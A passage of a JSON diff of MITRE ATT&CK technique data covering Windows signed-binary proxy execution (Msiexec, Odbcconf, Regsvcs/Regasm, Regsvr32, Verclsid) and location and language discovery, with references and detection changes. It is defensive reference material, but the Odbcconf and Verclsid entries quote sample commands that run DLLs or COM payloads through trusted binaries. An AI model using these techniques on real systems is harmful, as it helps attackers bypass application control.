"shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0506: Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:38:49.266000+00:00", + "modified": "2025-10-24 17:48:38.626000+00:00", + "name": "Msiexec", + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/007", + "external_id": "T1218.007" + }, + { + "source_name": "TrendMicro Msiexec Feb 2018", + "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/" + }, + { + "source_name": "LOLBAS Msiexec", + "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/" + }, + { + "source_name": "Microsoft msiexec", + "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec" + }, + { + "source_name": "Microsoft AlwaysInstallElevated 2018", + "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ziv Kaspersky, Cymptom", + "Alexandros Pappas" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.626000+00:00\", \"old_value\": \"2025-04-16 20:37:16.547000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0158: Detection of Msiexec Abuse for Local, Network, and DLL Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 15:01:32.917000+00:00", + "modified": "2025-10-24 17:48:55.622000+00:00", + "name": "Odbcconf", + "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/008", + "external_id": "T1218.008" + }, + { + "source_name": "Microsoft odbcconf.exe", + "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.", + "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017" + }, + { + "source_name": "LOLBAS Odbcconf", + "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/" + }, + { + "source_name": "TrendMicro Squiblydoo Aug 2017", + "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.622000+00:00\", \"old_value\": \"2025-04-25 14:47:01.231000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0486: Detecting Odbcconf Proxy Execution of Malicious DLLs" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 19:42:16.439000+00:00", + "modified": "2025-10-24 17:49:21.181000+00:00", + "name": "Regsvcs/Regasm", + "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/009", + "external_id": "T1218.009" + }, + { + "source_name": "MSDN Regsvcs", + "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx" + }, + { + "source_name": "MSDN Regasm", + "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx" + }, + { + "source_name": "LOLBAS Regsvcs", + "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/" + }, + { + "source_name": "LOLBAS Regasm", + "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Casey Smith" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.181000+00:00\", \"old_value\": \"2025-04-25 14:47:58.456000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0361: Detecting .NET COM Registration Abuse via Regsvcs/Regasm" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 19:52:17.414000+00:00", + "modified": "2025-10-24 17:49:17.377000+00:00", + "name": "Regsvr32", + "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/010", + "external_id": "T1218.010" + }, + { + "source_name": "FireEye Regsvr32 Targeting Mongolian Gov", + "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html" + }, + { + "source_name": "LOLBAS Regsvr32", + "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/" + }, + { + "source_name": "Microsoft Regsvr32", + "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.", + "url": "https://support.microsoft.com/en-us/kb/249873" + }, + { + "source_name": "Carbon Black Squiblydoo Apr 2016", + "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.", + "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Casey Smith" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.377000+00:00\", \"old_value\": \"2025-04-16 20:37:19.846000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1050: Exploit Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0282: Detection Strategy for System Binary Proxy Execution: Regsvr32" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-08-10 13:59:38.443000+00:00", + "modified": "2025-10-24 17:49:01.930000+00:00", + "name": "Verclsid", + "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/012", + "external_id": "T1218.012" + }, + { + "source_name": "BOHOPS Abusing the COM Registry", + "description": "BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.", + "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/" + }, + { + "source_name": "Red Canary Verclsid.exe", + "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.", + "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/" + }, + { + "source_name": "LOLBAS Verclsid", + "description": "LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/" + }, + { + "source_name": "Nick Tyrer GitHub", + "description": "Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.", + "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5" + }, + { + "source_name": "WinOSBite verclsid.exe", + "description": "verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\u00a0. Retrieved November 17, 2024.", + "url": "https://winosbite.com/verclsid-exe/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Rodrigo Garcia, Red Canary" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.930000+00:00\", \"old_value\": \"2025-04-15 19:58:46.323000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0042: Detection Strategy for T1218.012 Verclsid Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-04-01 16:42:08.735000+00:00", + "modified": "2025-10-24 17:49:22.536000+00:00", + "name": "System Location Discovery", + "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1614", + "external_id": "T1614" + }, + { + "source_name": "Bleepingcomputer RAT malware 2020", + "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.", + "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/" + }, + { + "source_name": "AWS Instance Identity Documents", + "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html" + }, + { + "source_name": "Securelist Trasparent Tribe 2020", + "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.", + "url": "https://securelist.com/transparent-tribe-part-1/98127/" + }, + { + "source_name": "FBI Ragnar Locker 2020", + "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.", + "url": "https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf" + }, + { + "source_name": "Microsoft Azure Instance Metadata 2021", + "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.", + "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows" + }, + { + "source_name": "Sophos Geolocation 2016", + "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.", + "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India", + "Hiroki Nagahama, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Wes Hurd", + "Katie Nickels, Red Canary" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.536000+00:00\", \"old_value\": \"2025-04-15 23:14:16.731000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\\n\\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\\n-\\n-Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0043: Detection Strategy for System Location Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-08-18 14:06:45.244000+00:00", + "modified": "2025-10-24 17:49:20.039000+00:00", + "name": "System Language Discovery", + "description": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1614/001", + "external_id": "T1614.001" + }, + { + "source_name": "Darkside Ransomware Cybereason", + "description": "Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021.", + "url": "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware" + }, + { + "source_name": "Securelist JSWorm", + "description": "Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021.", + "url": "https://securelist.com/evolution-of-jsworm-ransomware/102428/" + }, + { + "source_name": "CrowdStrike Ryuk January 2019", + "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/" + }, + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Malware System Language Check", + "description": "Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021.", + "url": "https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + 